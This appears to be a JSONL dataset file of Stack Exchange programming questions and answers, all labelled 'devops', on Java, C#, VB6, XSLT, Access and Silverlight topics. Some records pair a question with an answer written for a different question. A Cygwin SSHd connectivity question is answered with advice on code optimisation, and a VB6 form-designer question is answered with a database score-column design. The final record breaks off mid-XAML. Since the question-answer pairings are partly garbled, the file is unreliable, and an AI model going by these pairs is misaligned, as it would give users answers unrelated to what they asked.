{"id": "hf_6acff4d0ec48", "question": "<p>I'm using Java 1.5 and I'd like to launch the associated application to open the file. I know that Java 1.6 introduced the <a href=\"http://java.sun.com/developer/technicalArticles/J2SE/Desktop/javase6/desktop_api/\" rel=\"noreferrer\">Desktop API</a>, but I need a solution for <strong>Java 1.5</strong>.</p>\n\n<p>So far I found a way to do it in Windows:</p>\n\n<pre><code>Runtime.getRuntime().exec(new String[]{ \"rundll32\", \n                          \"url.dll,FileProtocolHandler\", fileName });\n</code></pre>\n\n<p>Is there a cross-platform way to do it? Or at least a similar solution for <strong>Linux</strong>?</p>\n", "question_body": "", "answer": "SWT\ngives you the possibility to lokk for the standard program to open a file via:\n```\n```\nfinal Program p = Program.findProgram(fileExtension);\np.execute(file.getAbsolutePath());\n```\n```\nStrictly this isn't Cross-Platform since SWT is platform dependent, but for every platform you can use a diffenrent SWT jar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.853660"}
{"id": "hf_d841b3dff64c", "question": "<p>You are given a heap of code in your favorite language which combines to form a rather complicated application. It runs rather slowly, and your boss has asked you to optimize it. <strong>What are the steps you follow to most efficiently optimize the code?</strong> </p>\n\n<p>What strategies have you found to be <strong>unsuccessful</strong> when optimizing code?</p>\n\n<p><strong>Re-writes</strong>: At what point do you decide to stop optimizing and say \"This is as fast as it'll get without a complete re-write.\" In what cases would you advocate a simple complete re-write anyway? How would you go about designing it?</p>\n", "question_body": "", "answer": "Profile before attempting any optimisation.\n9 times out of 10, the time won't be consumed where you might guess it is.\nThe usual unsuccessful strategy is micro-optimisation, when what is actually required is the appropriate algorithm.\nObligatory Donald Knuth quote:\n\"We should forget about small efficiencies, say about 97% of the time: premature optimization is the root of all evil\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.877448"}
{"id": "hf_940fc36431d6", "question": "<p>I just set up SSHd through Cygwin on a Windows XP Pro box overseas using a RAT and discluded the openssh package from the install.\nI ran the cywin shell (from c:\\cywin) and ran\nNow, It's under a port I know is safe and fowarded properly, but I won't share it's number. It's not a common port, but it's under 40000.\nFirewalls are off etc etc.\nI'm on the first Admin account made on the box. (It's full admin)\nI've run the following commands</p>\n\n<p><code>chmod +r  /etc/passwd<br>\nchmod +r  /etc/group<br>\nhmod  777  /var<br>\n/*Created New Admin User Account To Be Used via SSH*/<br>\nmkpasswd -cl &gt; /etc/passwd<br>\nmkgroup --local &gt; /etc/group</code>  </p>\n\n<p>I can connect locally, but not externally.\nI know my ports etc are fine.</p>\n\n<p>Any possible problems, as i really need this tunnel up :P</p>\n", "question_body": "", "answer": "Profile before attempting any optimisation.\n9 times out of 10, the time won't be consumed where you might guess it is.\nThe usual unsuccessful strategy is micro-optimisation, when what is actually required is the appropriate algorithm.\nObligatory Donald Knuth quote:\n\"We should forget about small efficiencies, say about 97% of the time: premature optimization is the root of all evil\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.901538"}
{"id": "hf_99b376efb47a", "question": "<p>Do you know any documentation about the rules of using update sites? I have managed the last 2 and a half years the update site of our company, and these are the problems I have to address:</p>\n\n<ul>\n<li>Not all projects use the same eclipse version. We had projects that used eclipse 2.1 (WSAD), eclipse 3.0 (RAD 6), eclipse 3.2 (RAD 7), eclipse 3.3 and eclipse 3.4.</li>\n<li>The update site of our company mostly packages things together. So I have written litte plugins (sometimes fragements) to package e.g. the configuration of Checkstyle for our company together with the current version of Checkstyle.</li>\n<li>We release two times a year new versions of what has changed. So if I have 1 update site or 4, this will change dramatically the load I have to take.</li>\n</ul>\n\n<p>So the question is: How many update sites should we use, and if the number is more than 1, how can I minimize the work to do to maintain the update sites?</p>\n", "question_body": "", "answer": "I suggest to put everything on one web server and deploy the packages for each version of Eclipse to a different URL:\nhttp://your.server/eclipse-3.3/site.xml\nhttp://your.server/eclipse-3.4/site.xml\netc.\nThis will make it easy to deploy, to keep things apart and it will make it simple for users to see \"ah, this is the one for me\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.963025"}
{"id": "hf_3fb976da2cdf", "question": "<p>I need to validate a certain property to one of my classes. When I set the property, the class should validate the input and if incorrect, set the object to an invalid state.</p>\n<p>Question : The property value must be in a certain mask/format eg. &amp;&amp;&amp;&amp;-&amp;&amp;&amp;&amp;-&amp;&amp;&amp;&amp;. I cannot use regular expressions. Is it possible to validate text against a mask value?</p>\n", "question_body": "", "answer": "Is it possible to validate text\n  against a mask value ?\nOf course it's possible, in that you could write a function to take a string and a mask and check one against another.\nSo I'm unclear on what you're asking - are you asking if there are functions in the standard .Net libraries to do this? Or asking for an implementation of a mask-validation function? Or something else?\nIf you're looking for something in the library to help,\nMaskedTextProvider\nwould probably do it, although it's overkill.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.019239"}
{"id": "hf_eca12cb15eec", "question": "<p>I am getting a runtime error 13 at the end of the following code:</p>\n\n<pre><code>Sub plausibilitaet_check()\n\nDim rs As DAO.Recordset\nDim rs2 As ADODB.Recordset\nDim db As database\nDim strsql As String\nDim strsql2 As String\nDim tdf As TableDef\n\n\n\n\nSet db = opendatabase(\"C:\\Codebook.mdb\")\nSet rs = db.OpenRecordset(\"plausen1\")\n\nSet rs2 = CreateObject(\"ADODB.Recordset\")\nrs2.ActiveConnection = CurrentProject.Connection\n\n\nFor Each tdf In CurrentDb.TableDefs\n\n   If Left(tdf.Name, 4) &lt;&gt; \"MSys\" Then\n        rs.MoveFirst\n        strsql = \"SELECT * From [\" &amp; tdf.Name &amp; \"] WHERE \"\n\n\n\n        Do While Not rs.EOF\n            On Error Resume Next\n\n            strsql2 = \"select * from table where GHds &lt;&gt; 0\"\n            Set rs2 = CurrentDb.OpenRecordset(strsql2)\n</code></pre>\n\n<p>The error occurs at  Set rs2 = CurrentDb.OpenRecordset(strsql2)</p>\n\n<p>Can someone see where I am going wrong?</p>\n", "question_body": "", "answer": "CurrentDB.OpenRecordset returns an instance of DAO.Recordset. You are trying to assign the result to ADODB.Recordset\nChange the rs2 definition to\n```\ndim rs2 as DAO.Recordset\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.105075"}
{"id": "hf_a47c0e22a1a4", "question": "<p>I am using oracle wallet to store the oracle database passwords,\nthe batch file to create the wallet asks for password when you run it.\nis there any way to modify the batch file , and provide the password before hand </p>\n\n<p>so that i can avoid inputtting the password every time i run that.</p>\n\n<p>so to generalize the problem, is there any way i can write to input stream of another program.</p>\n\n<p>so that i can avoid prompts from my automation scripts.</p>\n", "question_body": "", "answer": "You can use the pipe operator \"|\" to redirect the standard output stream of one program into the input stream of another.  I works both on unix and windows platforms.\nIn your example you would have a script doing just\n```\n```\necho mypassword\n```\n```\nand you would run this from the command line:\n```\n```\nmyscript | wallet\n```\n```\nI assume that your script would be called myscript.bat, and the wallet program wallet.exe, change these accordingly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.153821"}
{"id": "hf_e7efbb671258", "question": "<p>To follow on from my question yesterday....</p>\n\n<p><a href=\"https://stackoverflow.com/questions/323842/mysql-table-design-for-a-questionnaire\">MySQL Table Design for a Questionnaire</a></p>\n\n<p>I sat down with my boss yesterday afternoon to run through how I was proposing to design the database.  However, now I am more confused than ever.</p>\n\n<p>He has been using Access for many years, and has questioned whether I will be able to produce reports from only using one column for the answer (ENUM).  He feels from his experience with Access that each possible response (i.e. Very Satisfied, Fairly Satified, Fairly Unsatisfied, Very Unsatisfied), should have it's own column and numerical value(i.e. 100, 66.6, 33.3, 0).</p>\n\n<p>This is so that the database can produce reports that show the average satisfaction nationally and for each retailer individually.</p>\n\n<p>I would really appreciate some guidence, as I really don't want to get this wrong?</p>\n\n<p>Thank you</p>\n", "question_body": "", "answer": "In this case I wouldn't go for an enum, I'd go for a \"score\" column. So the columns might be:\n```\n```\nuserid, questionid, score\n1,1,4\n1,2,4\n1,3,3\n2,1,1\n2,2,4\n...\n```\n```\n1 being very unsatisfied and 4 being very satisfied.\nThen a query like:\n```\n```\nselect 25*avg(score) from Blah\n```\n```\nwill give you your overall percentage.\n```\n```\nselect 25*avg(score), questionid from Blah group by questionid\n```\n```\nwill give you a % per question.\nAccess isn't really a database, so don't listen to your boss ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.191151"}
{"id": "hf_71c2d7c0dde3", "question": "<p>I am a newbie for Visual Basic 6 project.  I downloaded some tutorials for testing; however, I am not able to drag, move, or edit the UI form designer objects in those projects.</p>\n<p>Does anybody know there is an object lock function in VB6?<br />\nIf there is, how can I unlock it?</p>\n", "question_body": "", "answer": "In this case I wouldn't go for an enum, I'd go for a \"score\" column. So the columns might be:\n```\n```\nuserid, questionid, score\n1,1,4\n1,2,4\n1,3,3\n2,1,1\n2,2,4\n...\n```\n```\n1 being very unsatisfied and 4 being very satisfied.\nThen a query like:\n```\n```\nselect 25*avg(score) from Blah\n```\n```\nwill give you your overall percentage.\n```\n```\nselect 25*avg(score), questionid from Blah group by questionid\n```\n```\nwill give you a % per question.\nAccess isn't really a database, so don't listen to your boss ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.216213"}
{"id": "hf_48a3bcc703bb", "question": "<p>I'm using reflection to loop through a <code>Type</code>'s properties and set certain types to their default.  Now, I could do a switch on the type and set the <code>default(Type)</code> explicitly, but I'd rather do it in one line.  Is there a programmatic equivalent of default?</p>\n", "question_body": "", "answer": "I do the same task like this.\n```\n```\n//in MessageHeader \n   private void SetValuesDefault()\n   {\n        MessageHeader header = this;             \n        Framework.ObjectPropertyHelper.SetPropertiesToDefault<MessageHeader>(this);\n   }\n\n//in ObjectPropertyHelper\n   public static void SetPropertiesToDefault<T>(T obj) \n   {\n            Type objectType = typeof(T);\n\n            System.Reflection.PropertyInfo [] props = objectType.GetProperties();\n\n            foreach (System.Reflection.PropertyInfo property in props)\n            {\n                if (property.CanWrite)\n                {\n                    string propertyName = property.Name;\n                    Type propertyType = property.PropertyType;\n\n                    object value = TypeHelper.DefaultForType(propertyType);\n                    property.SetValue(obj, value, null);\n                }\n            }\n    }\n\n//in TypeHelper\n    public static object DefaultForType(Type targetType)\n    {\n        return targetType.IsValueType ? Activator.CreateInstance(targetType) : null;\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.266110"}
{"id": "hf_9bfbdf34d380", "question": "<p>In my application I need to hash a string before I save it to a text file. Does anyone know how to do that?</p>\n", "question_body": "", "answer": "You can try with CriptoASP. Don't mind about the 'ASP' in the name, it's an ActiveX DLL you can instantiate from VB6. It provides methods for generate random numbers, hashes with MD2, MD4, MD5 and SHA and some kind of encryption/decryption.\nYou can download it from\nCriptoASP\nI'm sorry, web's language is in spanish, but I think you can undertand the very easy use of the COM with the examples at bottom of\nDoc. for CriptoASP\n, just change\nServer.CreateObject\nwith the new object sentence in VB6.\nTell me if you want a translate of the examples or documentation.\nTo save it to a text file you can use FSO (File System Object).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.303798"}
{"id": "hf_48ced91664e0", "question": "<p>I have strange problem with sharepoint and ajax functionality. We have an UpdatePanel placed inside webpart. When partial postback occurs, page title gets missing.</p>\n\n<p>We have found that temporary partial solution is to write title element into one line and not use any spaces or controls inside it..not even a literal control.</p>\n\n<p>But we need some way to provide sommon title for all pages, so title would look like this:\nMy default title - Current page title</p>\n\n<p>Any ideas how to solve this?</p>\n", "question_body": "", "answer": "this looks like pure sharepoint's problem..also it looks like just sites based on publishing page layout are affected.\nI debugged response in firebug and for some reason it returns setting for page title, so response from server contains not just update panel information, but also empty page title.\nI debugged our webparts and none of them plays with page title. I would suggest not to use publishing or just not use any controls inside title.\nWe are currently working on this issue in company i work for, so i'll upload uour findings when we figure out something.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.352307"}
{"id": "hf_63b93eea3a11", "question": "<p>I've a python script that has to launch a shell command for every file in a dir:</p>\n\n<pre><code>import os\n\nfiles = os.listdir(\".\")\nfor f in files:\n    os.execlp(\"myscript\", \"myscript\", f)\n</code></pre>\n\n<p>This works fine for the first file, but after the \"myscript\" command has ended, the execution stops and does not come back to the python script.</p>\n\n<p>How can I do? Do I have to <code>fork()</code> before <code>calling os.execlp()</code>?</p>\n", "question_body": "", "answer": "The\n```\nos.exec*()\n```\nfunctions\nreplace\nthe current programm with the new one. When this programm ends so does your process. You probably want\n```\nos.system()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.377683"}
{"id": "hf_dca6c60e27b7", "question": "<p>I want a way to list files in a directory and putting a check box beside each one of them so I can select some of them and perform operations with each selected file, what's the best way to do this?</p>\n", "question_body": "", "answer": "You can use checked list box control which is built-in winforms control (see links below):\nhttp://www.functionx.com/vcsharp/controls/checkedlistbox1.htm\nhttp://msdn.microsoft.com/en-us/library/3ss05xx6.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.402659"}
{"id": "hf_c2103f11eea5", "question": "<p>What is the masked text provider used for? Why is it different from regex?</p>\n\n<p>Is it possible to translate the regex format to mask or vise versa ?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "A masked edit area forces the user to fill the field in a certain way: e.g. a mask that looks like ### will only allow a maximum of 3 numbers to be entered.\nA regular expression, on the other hand, is normally only checked for after the user has entered all the text. The validation happens too late to provide feedback on a character by character basis.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.427295"}
{"id": "hf_668ab5638d78", "question": "<p>I am trying to comment an API (.Net) that I am exposing to a customer.\nI am doing this by using XML comments, and extracting via SandCastle.</p>\n\n<p>This is all fine and dandy, however I have unittesting for the API, and thought the code from these would be good to place in the example tags.</p>\n\n<p>So does anyone know of a good way to extract unit test code and place in the example tags?\nOr does anyone have better ideas?</p>\n\n<p>Of course I redistribute the unit tests with the API, but it would be good to have them in the documentation.</p>\n", "question_body": "", "answer": "I see that Jon Skeet har an answer, that requires some work:\nAutomatically Unit Test Example Code\nHas anyone gone and implemented this?\nIs there an easier way?\nThis question is about getting a metod body from a cs file:\nGet a method's contents from a cs file\nI have made a project to do this:\nhttp://code.google.com/p/addsourcetodocumentation/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.453159"}
{"id": "hf_6b58912f33d5", "question": "<p>Basically I have a small template that looks like:</p>\n\n<pre><code>&lt;xsl:template name=\"templt\"&gt;\n    &lt;xsl:param name=\"filter\" /&gt;\n    &lt;xsl:variable name=\"numOrders\" select=\"count(ORDERS/ORDER[$filter])\" /&gt;\n&lt;/xsl:template&gt;\n</code></pre>\n\n<p>And I'm trying to call it using</p>\n\n<pre><code>&lt;xsl:call-template name=\"templt\"&gt;\n    &lt;xsl:with-param name=\"filter\" select=\"PRICE &amp;lt; 15\" /&gt;\n&lt;/xsl:call-template&gt;\n</code></pre>\n\n<p>Unfortunately it seems to evaluate it before the template is called (So effectively \"false\" is being passed in) Enclosing it in quotes only makes it a string literal so that doesn't work either. Does anybody know if what I'm trying to achive is possible? If so could you shed some light on it? Cheers</p>\n", "question_body": "", "answer": "how about the following:\n```\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\n  <xsl:output method=\"xml\" indent=\"yes\"/>\n\n  <xsl:template name=\"templt\">\n    <xsl:param name=\"filterNodeName\" />\n    <xsl:param name=\"filterValue\" />\n    <xsl:variable name=\"orders\" select=\"ORDERS/ORDER/child::*[name() = $filterNodeName and number(text()) &lt; $filterValue]\" />\n    <xsl:for-each select=\"$orders\">\n      <xsl:value-of select=\".\"/>\n    </xsl:for-each>\n  </xsl:template>\n\n  <xsl:template match=\"/\">\n    <xsl:call-template name=\"templt\">\n      <xsl:with-param name=\"filterNodeName\" select=\"'PRICE'\" />\n      <xsl:with-param name=\"filterValue\" select=\"15\" />\n    </xsl:call-template>\n  </xsl:template>\n</xsl:stylesheet>\n```\n```\nIf you still want to use a single parameter only, you could tokenize in template 'templt' first.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.479124"}
{"id": "hf_613c70a604dc", "question": "<p>Is it possible to provide Unicode input to a console app, and read the Unicode char/string via Console.ReadKey()?</p>\n\n<p>I know Unicode works when reading the input via other methods, but unfortunately I need to use the 'interception' feature provided by ReadKey.</p>\n\n<p>Update:</p>\n\n<p>When pasting a Unicode character such as U+03BB (λ) into the console, 3 keys are read.</p>\n\n<ol>\n<li>Alt + NumPad1</li>\n<li>Alt + NumPad1</li>\n<li>Alt + NumPad8</li>\n</ol>\n\n<p>I have tried to see if this is some kind of encoding, but can not see anything.</p>\n", "question_body": "", "answer": "The ConsoleKeyInfo object returned by Console.ReadKey() has a property called KeyChar containing the Unicode char of the pressed key or key combination (if the key or key combination has a Unicode equivalent). So...\n```\n```\nchar c = Console.ReadKey().KeyChar;\n```\n```\nYou'll get a '\\0' char if the key doesn't have a Unicode equivalent (for example, a function key).\nYou can use a StringBuilder to concatenate these chars together into a Unicode string if necessary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.586457"}
{"id": "hf_c75b5184c4f8", "question": "<p>Here is a little test program: </p>\n\n<pre><code>#include &lt;iostream&gt;\n\nclass Test\n{\npublic:\n    static void DoCrash(){ std::cout&lt;&lt; \"TEST IT!\"&lt;&lt; std::endl; }\n};\n\nint main()\n{\n    Test k;\n    k.DoCrash(); // calling a static method like a member method...\n\n    std::system(\"pause\");\n\n    return 0;\n}\n</code></pre>\n\n<p>On VS2008 + SP1 (vc9) it compiles fine: the console just display \"TEST IT!\".</p>\n\n<p>As far as I know, static member methods shouldn't be called on instanced object.</p>\n\n<ol>\n<li>Am I wrong? Is this code correct from the standard point of view?</li>\n<li>If it's correct, why is that? I can't find why it would be allowed, or maybe it's to help using \"static or not\" method in templates?</li>\n</ol>\n", "question_body": "", "answer": "static methods can be called also using an object of the class, just like it can be done in Java. Nevertheless, you shouldn't do this. Use the scope operator like\n```\nTest::DoCrash();\n```\nMaybe you think of namespaces:\n```\n```\nnamespace Test {\n    void DoCrash() {\n        std::cout << \"Crashed!!\" << std::endl;\n    }\n};\n```\n```\nwhich can only be called by\n```\nTest::DoCrash();\n```\nfrom outside that namespace if the function is not imported explicitly using a\n```\nusing directive/declaration\n```\ninto the scope of the caller.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.662704"}
{"id": "hf_82989ddc6610", "question": "<p>I write a Text Editor with Java , and  I want to  add Undo function to it </p>\n\n<p>but without UndoManager Class , I need to use a Data Structure like Stack or LinkedList but the Stack class in Java use Object parameters e.g : push(Object o) , Not Push(String s)\nI need some hints or links .\nThanks</p>\n", "question_body": "", "answer": "Assuming you are using Java 5, Stack is a generic class. You can instantiate it according to the objects it should hold.\nYou can then use:\n```\n```\nStack<String> stack = new Stack<String>();\nString string = \"someString\";\nstack.push(string);\n```\n```\nAlso note that in the case you are using Java 1.4 or below, you can still push String objects into the stack. Only that you will need to explicitly downcast them when you pop() them out, like so:\n```\n```\nStack stack = new Stack();\nString string = \"someString\";\nstack.push(string);\n\nString popString = (String) stack.pop(); // pop() returns an Object which needs to be downcasted\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.776362"}
{"id": "hf_43294e5b59fa", "question": "<p>I need a byte buffer class in Java for single-threaded use. I should be able to insert data at the back of the buffer and read data at the front, with an amortized cost of O(1). The buffer should resize when it's full, rather than throw an exception or something.</p>\n\n<p>I could write one myself, but I'd be very surprised if this didn't exist yet in a standard Java package, and if it doesn't, I'd expect it to exist in some well-tested public library.</p>\n\n<p>What would you recommend?</p>\n", "question_body": "", "answer": "Not sure if it is \"the best\", but you have a nice example of\nCircular Byte buffer here\n.\nThose\nJava Utilities - OstermillerUtils\nclasses are under\nGPL license\n.\nThis Circular Byte Buffer implements the circular buffer producer/consumer model for bytes. Filling and emptying the buffer is done with standard Java InputStreams and OutputStreams.\nUsing this class is a simpler alternative to using a PipedInputStream and a PipedOutputStream.\nPipedInputStreams and PipedOutputStreams don't support the mark operation, don't allow you to control buffer sizes that they use, and have a more complicated API that requires a instantiating two classes and connecting them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.801000"}
{"id": "hf_0c6bc9fddb76", "question": "<p>What is the difference between the value and itemValue attribute of the radiobutton in Jsf?</p>\n", "question_body": "", "answer": "From this IBM article\nAdding row selection to a JSF datatable using radio buttons\n:\nThe\nattribute id\nis for the component value of the Radio Button Group. It will be bound to the Value field\nThe attribute selectedRowId is for the\nitem value\nof the radio button, and will be bound to the item value field", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.826011"}
{"id": "hf_0581b0e742ce", "question": "<p>By definition algorithms are independent from the medium they run on. E.g. I use Excel tables to play with data structures and to do some move/shuffling/marking experiments before implementing an algorithm in a programming language. </p>\n\n<p>What tools and techniques do you use to design and simulate the function of an algorithm? How do you use drawing programs? A special specification language?</p>\n", "question_body": "", "answer": "I guess it depends on the complexity of the algorithm.\nQuite often I'll actually draw a quick sketch of a flowchart on some paper.  There are some excellent diagramming tools available, but I still haven't found one that is as quick as a good old fashioned sketch on a piece of paper.\nOther than that, I often end up throwing together a really 'quick and dirty' mock up of the algorithm in a VB.NET windows forms or console application.  With some of the more recent features like LINQ-to-SQL, you can even put together prototypes that rely on database access in a very short space of time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.863049"}
{"id": "hf_bfba70460ccd", "question": "<p>I want to build a secure web-service betweeen a Java producer and a Java consumer. I want to authenticate using Active Directory using the domain accounts that the producer and consumer are running under. </p>\n\n<p>Could you give me an example of this? </p>\n\n<p>(ie: AD trusted automated alternative to manual keystores.)</p>\n", "question_body": "", "answer": "Look at\nSpring WS\nand the and\nsecurity certificate authentication\n,\n7.2.2.1.3 JaasPlainTextPasswordValidationCallbackHandler\n, and\n7.2.2.3.3 JaasCertificateValidationCallbackHandler\n.\nThere are some examples that tie this together through additional research.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.910546"}
{"id": "hf_8966210ac4d1", "question": "<p>I want to change background color of Datagrid header in Silverlight.</p>\n", "question_body": "", "answer": "Although the DataGrid does not expose a Header Background property, it does have a property for the ColumnHeaderStyle. Using the technique that DaniCE has previously suggested for a single column we can replace the header template for all header columns including the empty space on the right hand side. The down side with replacing the entire template for a header is that we lose the sorting arrows and separators which are present in the default header template. Fortunately we can use a\ntemplate browser\nto extract the default template being used and then modify a copy of it.\nHere I've thrown together a quick example that will change the background of the column headers to LightBlue while keeping the separators and sorting. Take a look at the default DataGridColumnHeader template in a\ntemplate browser\nto see how to deal with modifying the Background when the mouse hovers over the ColumnHeader.\n```\n```\n<data:DataGrid x:Name=\"grid\">\n    <data:DataGrid.ColumnHeaderStyle>\n        <Style \n            xmlns:primitives=\"clr-namespace:System.Windows.Controls.Primitives;assembly=System.Windows.Controls.Data\" \n            xmlns:vsm=\"clr-namespace:System.Windows;assembly=System.Windows\"\n            TargetType=\"primitives:DataGridColumnHeader\" >\n            <Setter Property=\"Template\">\n                <Setter.Value>\n                    <ControlTemplate TargetType=\"primitives:DataGridColumnHeader\">\n                        <Grid Name=\"Root\">\n                            <vsm:VisualStateManager.VisualStateGroups>\n                                <vsm:VisualStateGroup x:Name=\"SortStates\" >\n                                    <vsm:VisualStateGroup.Transitions>\n                                        <vsm:VisualTransition GeneratedDuration=\"00:00:0.1\" />\n                                    </vsm:VisualStateGroup.Transitions>\n                                    <vsm:VisualState x:Name=\"Unsorted\" />\n                                    <vsm:VisualState x:Name=\"SortAscending\">\n                                        <Storyboard>\n                                            <DoubleAnimation Storyboard.TargetName=\"SortIcon\" Storyboard.TargetProperty=\"Opacity\" Duration=\"0\" To=\"1.0\" />\n                                        </Storyboard>\n                                    </vsm:VisualState>\n                                    <vsm:VisualState x:Name=\"SortDescending\">\n                                        <Storyboard>\n                                            <DoubleAnimation Storyboard.TargetName=\"SortIcon\" Storyboard.TargetProperty=\"Opacity\" Duration=\"0\" To=\"1.0\" />\n                                            <DoubleAnimation Storyboard.TargetName=\"SortIconTransform\" Storyboard.TargetProperty=\"ScaleY\" Duration=\"0\" To=\"-.9\" />\n                                        </Storyboard>\n                                    </vsm:VisualState>\n                                </vsm:VisualStateGroup>\n                            </vsm:VisualStateManager.VisualStateGroups>\n                            <Grid.RowDefinitions>\n                                <RowDefinition Height=\"*\" />\n                                <RowDefinition Height=\"*\" />\n                                <RowDefinition Height=\"Auto\" />\n                            </Grid.RowDefinitions>\n                            <Grid.ColumnDefinitions>\n                                <ColumnDefinition Width=\"Auto\" />\n                                <ColumnDefinition Width=\"*\" />\n                                <ColumnDefinition Width=\"Auto\" />\n                            </Grid.ColumnDefinitions>\n                            <Rectangle x:Name=\"BackgroundRectangle\" Stretch=\"Fill\" Fill=\"LightBlue\" Grid.ColumnSpan=\"2\" Grid.RowSpan=\"2\"  />\n                            <ContentPresenter Grid.RowSpan=\"2\" Content=\"{TemplateBinding Content}\" Cursor=\"{TemplateBinding Cursor}\" HorizontalAlignment=\"{TemplateBinding HorizontalContentAlignment}\" VerticalAlignment=\"{TemplateBinding VerticalContentAlignment}\" Margin=\"{TemplateBinding Padding}\" />\n                            <Rectangle Name=\"VerticalSeparator\" Grid.RowSpan=\"2\" Grid.Column=\"2\" 